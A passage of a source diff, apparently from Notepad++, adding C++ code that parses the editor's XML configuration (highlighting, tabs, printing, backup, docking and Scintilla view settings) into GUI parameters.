false; + } + + val = element->Attribute(TEXT("wholeWordOnly")); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._smartHiliteWordOnly = true; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._smartHiliteWordOnly = false; + } + + val = element->Attribute(TEXT("useFindSettings")); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._smartHiliteUseFindSettings = true; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._smartHiliteUseFindSettings = false; + } + + val = element->Attribute(TEXT("onAnotherView")); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._smartHiliteOnAnotherView = true; + else if (!lstrcmp(val, TEXT("no"))) + _nppGUI._smartHiliteOnAnotherView = false; + } + } + } + + else if (!lstrcmp(nm, TEXT("TagsMatchHighLight"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + _nppGUI._enableTagsMatchHilite = !lstrcmp(val, TEXT("yes")); + const TCHAR *tahl = element->Attribute(TEXT("TagAttrHighLight")); + if (tahl) + _nppGUI._enableTagAttrsHilite = !lstrcmp(tahl, TEXT("yes")); + + tahl = element->Attribute(TEXT("HighLightNonHtmlZone")); + if (tahl) + _nppGUI._enableHiliteNonHTMLZone = !lstrcmp(tahl, TEXT("yes")); + } + } + } + + else if (!lstrcmp(nm, TEXT("TaskList"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + _nppGUI._doTaskList = (!lstrcmp(val, TEXT("yes")))?true:false; + } + } + } + + else if (!lstrcmp(nm, TEXT("MRU"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + _nppGUI._styleMRU = (!lstrcmp(val, TEXT("yes"))); + } + } + + else if (!lstrcmp(nm, TEXT("URL"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("1"))) + _nppGUI._styleURL = 1; + else if (!lstrcmp(val, TEXT("2"))) + _nppGUI._styleURL = 2; + else + _nppGUI._styleURL = 0; + } + } + } + + else if (!lstrcmp(nm, TEXT("CheckHistoryFiles"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("no"))) + _nppGUI._checkHistoryFiles = false; + else if (!lstrcmp(val, TEXT("yes"))) + _nppGUI._checkHistoryFiles = true; + } + } + } + else if (!lstrcmp(nm, TEXT("ScintillaViewsSplitter"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("vertical"))) + _nppGUI._splitterPos = POS_VERTICAL; + else if (!lstrcmp(val, TEXT("horizontal"))) + _nppGUI._splitterPos = POS_HORIZOTAL; + } + } + } + else if (!lstrcmp(nm, TEXT("UserDefineDlg"))) + { + bool isFailed = false; + int oldValue = _nppGUI._userDefineDlgStatus; + + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + { + if (!lstrcmp(val, TEXT("hide"))) + _nppGUI._userDefineDlgStatus = 0; + else if (!lstrcmp(val, TEXT("show"))) + _nppGUI._userDefineDlgStatus = UDD_SHOW; + else + isFailed = true; + } + } + + const TCHAR* val = element->Attribute(TEXT("position")); + if (val) + { + if (!lstrcmp(val, TEXT("docked"))) + _nppGUI._userDefineDlgStatus |= UDD_DOCKED; + else if (!lstrcmp(val, TEXT("undocked"))) + _nppGUI._userDefineDlgStatus |= 0; + else + isFailed = true; + } + if (isFailed) + _nppGUI._userDefineDlgStatus = oldValue; + } + else if (!lstrcmp(nm, TEXT("TabSetting"))) + { + int i; + const TCHAR* val = element->Attribute(TEXT("size"), &i); + if (val) + _nppGUI._tabSize = i; + + if ((_nppGUI._tabSize == -1) || (_nppGUI._tabSize == 0)) + _nppGUI._tabSize = 4; + + val = element->Attribute(TEXT("replaceBySpace")); + if (val) + _nppGUI._tabReplacedBySpace = (!lstrcmp(val, TEXT("yes"))); + } + + else if (!lstrcmp(nm, TEXT("Caret"))) + { + int i; + const TCHAR* val = element->Attribute(TEXT("width"), &i); + if (val) + _nppGUI._caretWidth = i; + + val = element->Attribute(TEXT("blinkRate"), &i); + if (val) + _nppGUI._caretBlinkRate = i; + } + + else if (!lstrcmp(nm, TEXT("ScintillaGlobalSettings"))) + { + const TCHAR* val = element->Attribute(TEXT("enableMultiSelection")); + if (val) + { + if (lstrcmp(val, TEXT("yes")) == 0) + _nppGUI._enableMultiSelection = true; + else if (lstrcmp(val, TEXT("no")) == 0) + _nppGUI._enableMultiSelection = false; + } + } + + else if (!lstrcmp(nm, TEXT("AppPosition"))) + { + RECT oldRect = _nppGUI._appPos; + bool fuckUp = true; + int i; + + if (element->Attribute(TEXT("x"), &i)) + { + _nppGUI._appPos.left = i; + + if (element->Attribute(TEXT("y"), &i)) + { + _nppGUI._appPos.top = i; + + if (element->Attribute(TEXT("width"), &i)) + { + _nppGUI._appPos.right = i; + + if (element->Attribute(TEXT("height"), &i)) + { + _nppGUI._appPos.bottom = i; + fuckUp = false; + } + } + } + } + if (fuckUp) + _nppGUI._appPos = oldRect; + + const TCHAR* val = element->Attribute(TEXT("isMaximized")); + if (val) + _nppGUI._isMaximized = (lstrcmp(val, TEXT("yes")) == 0); + } + else if (!lstrcmp(nm, TEXT("NewDocDefaultSettings"))) + { + int i; + if (element->Attribute(TEXT("format"), &i)) + { + EolType newFormat = EolType::osdefault; + switch (i) + { + case static_cast(EolType::windows) : + newFormat = EolType::windows; + break; + case static_cast(EolType::macos) : + newFormat = EolType::macos; + break; + case static_cast(EolType::unix) : + newFormat = EolType::unix; + break; + default: + assert(false and "invalid buffer format - fallback to default"); + } + _nppGUI._newDocDefaultSettings._format = newFormat; + } + + if (element->Attribute(TEXT("encoding"), &i)) + _nppGUI._newDocDefaultSettings._unicodeMode = (UniMode)i; + + if (element->Attribute(TEXT("lang"), &i)) + _nppGUI._newDocDefaultSettings._lang = (LangType)i; + + if (element->Attribute(TEXT("codepage"), &i)) + _nppGUI._newDocDefaultSettings._codepage = (LangType)i; + + const TCHAR* val = element->Attribute(TEXT("openAnsiAsUTF8")); + if (val) + _nppGUI._newDocDefaultSettings._openAnsiAsUtf8 = (lstrcmp(val, TEXT("yes")) == 0); + + } + else if (!lstrcmp(nm, TEXT("langsExcluded"))) + { + // TODO + int g0 = 0; // up to 8 + int g1 = 0; // up to 16 + int g2 = 0; // up to 24 + int g3 = 0; // up to 32 + int g4 = 0; // up to 40 + int g5 = 0; // up to 48 + int g6 = 0; // up to 56 + int g7 = 0; // up to 64 + int g8 = 0; // up to 72 + int g9 = 0; // up to 80 + int g10= 0; // up to 88 + int g11= 0; // up to 96 + int g12= 0; // up to 104 + + // TODO some refactoring needed here.... + { + int i; + if (element->Attribute(TEXT("gr0"), &i)) + { + if (i <= 255) + g0 = i; + } + if (element->Attribute(TEXT("gr1"), &i)) + { + if (i <= 255) + g1 = i; + } + if (element->Attribute(TEXT("gr2"), &i)) + { + if (i <= 255) + g2 = i; + } + if (element->Attribute(TEXT("gr3"), &i)) + { + if (i <= 255) + g3 = i; + } + if (element->Attribute(TEXT("gr4"), &i)) + { + if (i <= 255) + g4 = i; + } + if (element->Attribute(TEXT("gr5"), &i)) + { + if (i <= 255) + g5 = i; + } + if (element->Attribute(TEXT("gr6"), &i)) + { + if (i <= 255) + g6 = i; + } + if (element->Attribute(TEXT("gr7"), &i)) + { + if (i <= 255) + g7 = i; + } + if (element->Attribute(TEXT("gr8"), &i)) + { + if (i <= 255) + g8 = i; + } + if (element->Attribute(TEXT("gr9"), &i)) + { + if (i <= 255) + g9 = i; + } + if (element->Attribute(TEXT("gr10"), &i)) + { + if (i <= 255) + g10 = i; + } + if (element->Attribute(TEXT("gr11"), &i)) + { + if (i <= 255) + g11 = i; + } + if (element->Attribute(TEXT("gr12"), &i)) + { + if (i <= 255) + g12 = i; + } + } + + UCHAR mask = 1; + for (int i = 0 ; i < 8 ; ++i) + { + if (mask & g0) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 8 ; i < 16 ; ++i) + { + if (mask & g1) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 16 ; i < 24 ; ++i) + { + if (mask & g2) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 24 ; i < 32 ; ++i) + { + if (mask & g3) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 32 ; i < 40 ; ++i) + { + if (mask & g4) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 40 ; i < 48 ; ++i) + { + if (mask & g5) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 48 ; i < 56 ; ++i) + { + if (mask & g6) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 56 ; i < 64 ; ++i) + { + if (mask & g7) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 64; i < 72; ++i) + { + if (mask & g8) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 72; i < 80; ++i) + { + if (mask & g9) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 80; i < 88; ++i) + { + if (mask & g10) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 88; i < 96; ++i) + { + if (mask & g11) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + mask = 1; + for (int i = 96; i < 104; ++i) + { + if (mask & g12) + _nppGUI._excludedLangList.push_back(LangMenuItem((LangType)i)); + mask <<= 1; + } + + const TCHAR* val = element->Attribute(TEXT("langMenuCompact")); + if (val) + _nppGUI._isLangMenuCompact = (!lstrcmp(val, TEXT("yes"))); + } + + else if (!lstrcmp(nm, TEXT("Print"))) + { + const TCHAR* val = element->Attribute(TEXT("lineNumber")); + if (val) + _nppGUI._printSettings._printLineNumber = (!lstrcmp(val, TEXT("yes"))); + + int i; + if (element->Attribute(TEXT("printOption"), &i)) + _nppGUI._printSettings._printOption = i; + + val = element->Attribute(TEXT("headerLeft")); + if (val) + _nppGUI._printSettings._headerLeft = val; + + val = element->Attribute(TEXT("headerMiddle")); + if (val) + _nppGUI._printSettings._headerMiddle = val; + + val = element->Attribute(TEXT("headerRight")); + if (val) + _nppGUI._printSettings._headerRight = val; + + + val = element->Attribute(TEXT("footerLeft")); + if (val) + _nppGUI._printSettings._footerLeft = val; + + val = element->Attribute(TEXT("footerMiddle")); + if (val) + _nppGUI._printSettings._footerMiddle = val; + + val = element->Attribute(TEXT("footerRight")); + if (val) + _nppGUI._printSettings._footerRight = val; + + + val = element->Attribute(TEXT("headerFontName")); + if (val) + _nppGUI._printSettings._headerFontName = val; + + val = element->Attribute(TEXT("footerFontName")); + if (val) + _nppGUI._printSettings._footerFontName = val; + + if (element->Attribute(TEXT("headerFontStyle"), &i)) + _nppGUI._printSettings._headerFontStyle = i; + + if (element->Attribute(TEXT("footerFontStyle"), &i)) + _nppGUI._printSettings._footerFontStyle = i; + + if (element->Attribute(TEXT("headerFontSize"), &i)) + _nppGUI._printSettings._headerFontSize = i; + + if (element->Attribute(TEXT("footerFontSize"), &i)) + _nppGUI._printSettings._footerFontSize = i; + + + if (element->Attribute(TEXT("margeLeft"), &i)) + _nppGUI._printSettings._marge.left = i; + + if (element->Attribute(TEXT("margeTop"), &i)) + _nppGUI._printSettings._marge.top = i; + + if (element->Attribute(TEXT("margeRight"), &i)) + _nppGUI._printSettings._marge.right = i; + + if (element->Attribute(TEXT("margeBottom"), &i)) + _nppGUI._printSettings._marge.bottom = i; + } + + else if (!lstrcmp(nm, TEXT("ScintillaPrimaryView"))) + { + feedScintillaParam(element); + } + + else if (!lstrcmp(nm, TEXT("Backup"))) + { + int i; + if (element->Attribute(TEXT("action"), &i)) + _nppGUI._backup = (BackupFeature)i; + + const TCHAR *bDir = element->Attribute(TEXT("useCustumDir")); + if (bDir) + { + _nppGUI._useDir = (lstrcmp(bDir, TEXT("yes")) == 0);; + } + const TCHAR *pDir = element->Attribute(TEXT("dir")); + if (pDir) + _nppGUI._backupDir = pDir; + + const TCHAR *isSnapshotModeStr = element->Attribute(TEXT("isSnapshotMode")); + if (isSnapshotModeStr && !lstrcmp(isSnapshotModeStr, TEXT("no"))) + _nppGUI._isSnapshotMode = false; + + int timing; + if (element->Attribute(TEXT("snapshotBackupTiming"), &timing)) + _nppGUI._snapshotBackupTiming = timing; + + } + else if (!lstrcmp(nm, TEXT("DockingManager"))) + { + feedDockingManager(element); + } + + else if (!lstrcmp(nm, TEXT("globalOverride"))) + { + const TCHAR *bDir = element->Attribute(TEXT("fg")); + if (bDir) + _nppGUI._globalOverride.enableFg = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("bg")); + if (bDir) + _nppGUI._globalOverride.enableBg = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("font")); + if (bDir) + _nppGUI._globalOverride.enableFont = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("fontSize")); + if (bDir) + _nppGUI._globalOverride.enableFontSize = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("bold")); + if (bDir) + _nppGUI._globalOverride.enableBold = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("italic")); + if (bDir) + _nppGUI._globalOverride.enableItalic = (lstrcmp(bDir, TEXT("yes")) == 0); + + bDir = element->Attribute(TEXT("underline")); + if (bDir) + _nppGUI._globalOverride.enableUnderLine = (lstrcmp(bDir, TEXT("yes")) == 0); + } + else if (!lstrcmp(nm, TEXT("auto-completion"))) + { + int i; + if (element->Attribute(TEXT("autoCAction"), &i)) + _nppGUI._autocStatus = static_cast(i); + + if (element->Attribute(TEXT("triggerFromNbChar"), &i)) + _nppGUI._autocFromLen = i; + + const TCHAR * optName = element->Attribute(TEXT("autoCIgnoreNumbers")); + if (optName) + _nppGUI._autocIgnoreNumbers = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("funcParams")); + if (optName) + _nppGUI._funcParams = (lstrcmp(optName, TEXT("yes")) == 0); + } + else if (!lstrcmp(nm, TEXT("auto-insert"))) + { + const TCHAR * optName = element->Attribute(TEXT("htmlXmlTag")); + if (optName) + _nppGUI._matchedPairConf._doHtmlXmlTag = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("parentheses")); + if (optName) + _nppGUI._matchedPairConf._doParentheses = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("brackets")); + if (optName) + _nppGUI._matchedPairConf._doBrackets = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("curlyBrackets")); + if (optName) + _nppGUI._matchedPairConf._doCurlyBrackets = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("quotes")); + if (optName) + _nppGUI._matchedPairConf._doQuotes = (lstrcmp(optName, TEXT("yes")) == 0); + + optName = element->Attribute(TEXT("doubleQuotes")); + if (optName) + _nppGUI._matchedPairConf._doDoubleQuotes = (lstrcmp(optName, TEXT("yes")) == 0); + + for (TiXmlNode *subChildNode = childNode->FirstChildElement(TEXT("UserDefinePair")); + subChildNode; + subChildNode = subChildNode->NextSibling(TEXT("UserDefinePair")) ) + { + int open = -1; + int openVal = 0; + const TCHAR *openValStr = (subChildNode->ToElement())->Attribute(TEXT("open"), &openVal); + if (openValStr && (openVal >= 0 && openVal < 128)) + open = openVal; + + int close = -1; + int closeVal = 0; + const TCHAR *closeValStr = (subChildNode->ToElement())->Attribute(TEXT("close"), &closeVal); + if (closeValStr && (closeVal >= 0 && closeVal <= 128)) + close = closeVal; + + if (open != -1 && close != -1) + _nppGUI._matchedPairConf._matchedPairsInit.push_back(pair(char(open), char(close))); + } + } + else if (!lstrcmp(nm, TEXT("sessionExt"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + _nppGUI._definedSessionExt = val; + } + } + else if (!lstrcmp(nm, TEXT("workspaceExt"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + _nppGUI._definedWorkspaceExt = val; + } + } + else if (!lstrcmp(nm, TEXT("noUpdate"))) + { + TiXmlNode *n = childNode->FirstChild(); + if (n) + { + const TCHAR* val = n->Value(); + if (val) + _nppGUI._autoUpdateOpt._doAutoUpdate = (!lstrcmp(val, TEXT("yes")))?false:true; + + int i; + val = element->Attribute(TEXT("intervalDays"), &i); + if (val) + _nppGUI._autoUpdateOpt._intervalDays = i; + + val = element->Attribute(TEXT("nextUpdateDate")); + if (val) + _nppGUI._autoUpdateOpt._nextUpdateDate = Date(val); + } + } + else if (!lstrcmp(nm, TEXT("openSaveDir"))) + { + const TCHAR * value = element->Attribute(TEXT("value")); + if (value && value[0]) + { + if (lstrcmp(value, TEXT("1")) == 0) + _nppGUI._openSaveDir = dir_last; + else if (lstrcmp(value, TEXT("2")) == 0) + _nppGUI._openSaveDir = dir_userDef; + else + _nppGUI._openSaveDir = dir_followCurrent; + } + + const TCHAR * path = element->Attribute(TEXT("defaultDirPath")); + if (path && path[0]) + { + lstrcpyn(_nppGUI._defaultDir, path, MAX_PATH); + ::ExpandEnvironmentStrings(_nppGUI._defaultDir, _nppGUI._defaultDirExp, MAX_PATH); + } + } + else if (!lstrcmp(nm, TEXT("titleBar"))) + { + const TCHAR * value = element->Attribute(TEXT("short")); + _nppGUI._shortTitlebar = false; //default state + if (value && value[0]) + { + if (lstrcmp(value, TEXT("yes")) == 0) + _nppGUI._shortTitlebar = true; + else if (lstrcmp(value, TEXT("no")) == 0) + _nppGUI._shortTitlebar = false; + } + } + else if (!lstrcmp(nm, TEXT("stylerTheme"))) + { + const TCHAR *themePath = element->Attribute(TEXT("path")); + if (themePath != NULL && themePath[0]) + _nppGUI._themeName.assign(themePath); + } + else if (!lstrcmp(nm, TEXT("wordCharList"))) + { + const TCHAR * value = element->Attribute(TEXT("useDefault")); + if (value && value[0]) + { + if (lstrcmp(value, TEXT("yes")) == 0) + _nppGUI._isWordCharDefault = true; + else if (lstrcmp(value, TEXT("no")) == 0) + _nppGUI._isWordCharDefault = false; + } + + const TCHAR *charsAddedW = element->Attribute(TEXT("charsAdded")); + if (charsAddedW) + { + WcharMbcsConvertor *wmc = WcharMbcsConvertor::getInstance(); + _nppGUI._customWordChars = wmc->wchar2char(charsAddedW, SC_CP_UTF8); + } + } + else if (!lstrcmp(nm, TEXT("delimiterSelection"))) + { + int leftmost = 0; + element->Attribute(TEXT("leftmostDelimiter"), &leftmost); + if(leftmost > 0 && leftmost < 256) + _nppGUI._leftmostDelimiter = static_cast(leftmost); + + int rightmost = 0; + element->Attribute(TEXT("rightmostDelimiter"), &rightmost); + if(rightmost > 0 && rightmost < 256) + _nppGUI._rightmostDelimiter = static_cast(rightmost); + + const TCHAR *delimiterSelectionOnEntireDocument = element->Attribute(TEXT("delimiterSelectionOnEntireDocument")); + if(delimiterSelectionOnEntireDocument != NULL && !lstrcmp(delimiterSelectionOnEntireDocument, TEXT("yes"))) + _nppGUI._delimiterSelectionOnEntireDocument = true; + else + _nppGUI._delimiterSelectionOnEntireDocument = false; + } + else if (!lstrcmp(nm, TEXT("multiInst"))) + { + int val = 0; + element->Attribute(TEXT("setting"), &val); + if (val < 0 || val > 2) + val = 0; + _nppGUI._multiInstSetting = (MultiInstSetting)val; + } + else if (!lstrcmp(nm, TEXT("searchEngine"))) + { + int i; + if (element->Attribute(TEXT("searchEngineChoice"), &i)) + _nppGUI._searchEngineChoice = static_cast(i); + + const TCHAR * searchEngineCustom = element->Attribute(TEXT("searchEngineCustom")); + if (searchEngineCustom && searchEngineCustom[0]) + _nppGUI._searchEngineCustom = searchEngineCustom; + } + else if (!lstrcmp(nm, TEXT("MISC"))) + { + const TCHAR * optName = element->Attribute(TEXT("fileSwitcherWithoutExtColumn")); + if (optName) + _nppGUI._fileSwitcherWithoutExtColumn = (lstrcmp(optName, TEXT("yes")) == 0); + + const TCHAR * optNameBackSlashEscape = element->Attribute(TEXT("backSlashIsEscapeCharacterForSql")); + if (optNameBackSlashEscape && !lstrcmp(optNameBackSlashEscape, TEXT("no"))) + _nppGUI._backSlashIsEscapeCharacterForSql = false; + + const TCHAR * optNameNewStyleSaveDlg = element->Attribute(TEXT("newStyleSaveDlg")); + if (optNameNewStyleSaveDlg) + _nppGUI._useNewStyleSaveDlg = (lstrcmp(optNameNewStyleSaveDlg, TEXT("yes")) == 0); + + const TCHAR * optNameFolderDroppedOpenFiles = element->Attribute(TEXT("isFolderDroppedOpenFiles")); + if (optNameFolderDroppedOpenFiles) + _nppGUI._isFolderDroppedOpenFiles = (lstrcmp(optNameFolderDroppedOpenFiles, TEXT("yes")) == 0); + + const TCHAR * optDocPeekOnTab = element->Attribute(TEXT("docPeekOnTab")); + if (optDocPeekOnTab) + _nppGUI._isDocPeekOnTab = (lstrcmp(optDocPeekOnTab, TEXT("yes")) == 0); + + const TCHAR * optDocPeekOnMap = element->Attribute(TEXT("docPeekOnMap")); + if (optDocPeekOnMap) + _nppGUI._isDocPeekOnMap = (lstrcmp(optDocPeekOnMap, TEXT("yes")) == 0); + + } + } +} + +void NppParameters::feedScintillaParam(TiXmlNode *node) +{ + TiXmlElement* element = node->ToElement(); + + // Line Number Margin + const TCHAR *nm = element->Attribute(TEXT("lineNumberMargin")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._lineNumberMarginShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._lineNumberMarginShow = false; + } + + // Bookmark Margin + nm = element->Attribute(TEXT("bookMarkMargin")); + if (nm) + { + + if (!lstrcmp(nm, TEXT("show"))) + _svp._bookMarkMarginShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._bookMarkMarginShow = false; + } + + // Indent GuideLine + nm = element->Attribute(TEXT("indentGuideLine")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._indentGuideLineShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._indentGuideLineShow= false; + } + + // Folder Mark Style + nm = element->Attribute(TEXT("folderMarkStyle")); + if (nm) + { + if (!lstrcmp(nm, TEXT("box"))) + _svp._folderStyle = FOLDER_STYLE_BOX; + else if (!lstrcmp(nm, TEXT("circle"))) + _svp._folderStyle = FOLDER_STYLE_CIRCLE; + else if (!lstrcmp(nm, TEXT("arrow"))) + _svp._folderStyle = FOLDER_STYLE_ARROW; + else if (!lstrcmp(nm, TEXT("simple"))) + _svp._folderStyle = FOLDER_STYLE_SIMPLE; + else if (!lstrcmp(nm, TEXT("none"))) + _svp._folderStyle = FOLDER_STYLE_NONE; + } + + // Line Wrap method + nm = element->Attribute(TEXT("lineWrapMethod")); + if (nm) + { + if (!lstrcmp(nm, TEXT("default"))) + _svp._lineWrapMethod = LINEWRAP_DEFAULT; + else if (!lstrcmp(nm, TEXT("aligned"))) + _svp._lineWrapMethod = LINEWRAP_ALIGNED; + else if (!lstrcmp(nm, TEXT("indent"))) + _svp._lineWrapMethod = LINEWRAP_INDENT; + } + + // Current Line Highlighting State + nm = element->Attribute(TEXT("currentLineHilitingShow")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._currentLineHilitingShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._currentLineHilitingShow = false; + } + + // Scrolling Beyond Last Line State + nm = element->Attribute(TEXT("scrollBeyondLastLine")); + if (nm) + { + if (!lstrcmp(nm, TEXT("yes"))) + _svp._scrollBeyondLastLine = true; + else if (!lstrcmp(nm, TEXT("no"))) + _svp._scrollBeyondLastLine = false; + } + + // Disable Advanced Scrolling + nm = element->Attribute(TEXT("disableAdvancedScrolling")); + if (nm) + { + if (!lstrcmp(nm, TEXT("yes"))) + _svp._disableAdvancedScrolling = true; + else if (!lstrcmp(nm, TEXT("no"))) + _svp._disableAdvancedScrolling = false; + } + + // Current wrap symbol visibility State + nm = element->Attribute(TEXT("wrapSymbolShow")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._wrapSymbolShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._wrapSymbolShow = false; + } + + // Do Wrap + nm = element->Attribute(TEXT("Wrap")); + if (nm) + { + if (!lstrcmp(nm, TEXT("yes"))) + _svp._doWrap = true; + else if (!lstrcmp(nm, TEXT("no"))) + _svp._doWrap = false; + } + + // Do Edge + nm = element->Attribute(TEXT("edge")); + if (nm) + { + if (!lstrcmp(nm, TEXT("background"))) + _svp._edgeMode = EDGE_BACKGROUND; + else if (!lstrcmp(nm, TEXT("line"))) + _svp._edgeMode = EDGE_LINE; + else + _svp._edgeMode = EDGE_NONE; + } + + // Do Scintilla border edge + nm = element->Attribute(TEXT("borderEdge")); + if (nm) + { + if (!lstrcmp(nm, TEXT("yes"))) + _svp._showBorderEdge = true; + else if (!lstrcmp(nm, TEXT("no"))) + _svp._showBorderEdge = false; + } + + int val; + nm = element->Attribute(TEXT("edgeNbColumn"), &val); + if (nm) + { + _svp._edgeNbColumn = val; + } + + nm = element->Attribute(TEXT("zoom"), &val); + if (nm) + { + _svp._zoom = val; + } + + nm = element->Attribute(TEXT("zoom2"), &val); + if (nm) + { + _svp._zoom2 = val; + } + + // White Space visibility State + nm = element->Attribute(TEXT("whiteSpaceShow")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._whiteSpaceShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._whiteSpaceShow = false; + } + + // EOL visibility State + nm = element->Attribute(TEXT("eolShow")); + if (nm) + { + if (!lstrcmp(nm, TEXT("show"))) + _svp._eolShow = true; + else if (!lstrcmp(nm, TEXT("hide"))) + _svp._eolShow = false; + } + + nm = element->Attribute(TEXT("borderWidth"), &val); + if (nm) + { + if (val >= 0 && val <= 30) + _svp._borderWidth = val; + } + + // Do antialiased font + nm = element->Attribute(TEXT("smoothFont")); + if (nm) + { + if (!lstrcmp(nm, TEXT("yes"))) + _svp._doSmoothFont = true; + else if (!lstrcmp(nm, TEXT("no"))) + _svp._doSmoothFont = false; + } +} + + +void NppParameters::feedDockingManager(TiXmlNode *node) +{ + TiXmlElement *element = node->ToElement(); + + int i; + if (element->Attribute(TEXT("leftWidth"), &i)) + _nppGUI._dockingData._leftWidth = i; + + if (element->Attribute(TEXT("rightWidth"), &i)) + _nppGUI._dockingData._rightWidth = i; + + if (element->Attribute(TEXT("topHeight"), &i)) + _nppGUI._dockingData._topHeight = i; + + if (element->Attribute(TEXT("bottomHeight"), &i)) + _nppGUI._dockingData._bottomHight = i; + + + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("FloatingWindow")); + childNode ; + childNode = childNode->NextSibling(TEXT("FloatingWindow")) ) + { + TiXmlElement *floatElement = childNode->ToElement(); + int cont; + if (floatElement->Attribute(TEXT("cont"), &cont)) + { + int x = 0; + int y = 0; + int w = 100; + int h = 100; + + floatElement->Attribute(TEXT("x"), &x); + floatElement->Attribute(TEXT("y"), &y); + floatElement->Attribute(TEXT("width"), &w); + floatElement->Attribute(TEXT("height"), &h); + _nppGUI._dockingData._flaotingWindowInfo.push_back(FloatingWindowInfo(cont, x, y, w, h)); + } + } + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("PluginDlg")); + childNode ; + childNode = childNode->NextSibling(TEXT("PluginDlg")) ) + { + TiXmlElement *dlgElement = childNode->ToElement(); + const TCHAR *name = dlgElement->Attribute(TEXT("pluginName")); + + int id; + const TCHAR *idStr = dlgElement->Attribute(TEXT("id"), &id); + if (name && idStr) + { + int curr = 0; // on left + int prev = 0; // on left + + dlgElement->Attribute(TEXT("curr"), &curr); + dlgElement->Attribute(TEXT("prev"), &prev); + + bool isVisible = false; + const TCHAR *val = dlgElement->Attribute(TEXT("isVisible")); + if (val) + { + isVisible = (lstrcmp(val, TEXT("yes")) == 0); + } + + _nppGUI._dockingData._pluginDockInfo.push_back(PluginDlgDockingInfo(name, id, curr, prev, isVisible)); + } + } + + for (TiXmlNode *childNode = node->FirstChildElement(TEXT("ActiveTabs")); + childNode ; + childNode = childNode->NextSibling(TEXT("ActiveTabs")) ) + { + TiXmlElement *dlgElement = childNode->ToElement(); + + int cont; + if (dlgElement->Attribute(TEXT("cont"), &cont)) + { + int activeTab = 0; + dlgElement->Attribute(TEXT("activeTab"), &activeTab); + _nppGUI._dockingData._containerTabInfo.push_back(ContainerTabInfo(cont, activeTab)); + } + } +} + +bool NppParameters::writeScintillaParams() +{ + if (!_pXmlUserDoc) return false; + + const TCHAR *pViewName = TEXT("ScintillaPrimaryView"); + TiXmlNode *nppRoot = _pXmlUserDoc->FirstChild(TEXT("NotepadPlus")); + if (not nppRoot) + { + nppRoot = _pXmlUserDoc->InsertEndChild(TiXmlElement(TEXT("NotepadPlus"))); + } + + TiXmlNode *configsRoot = 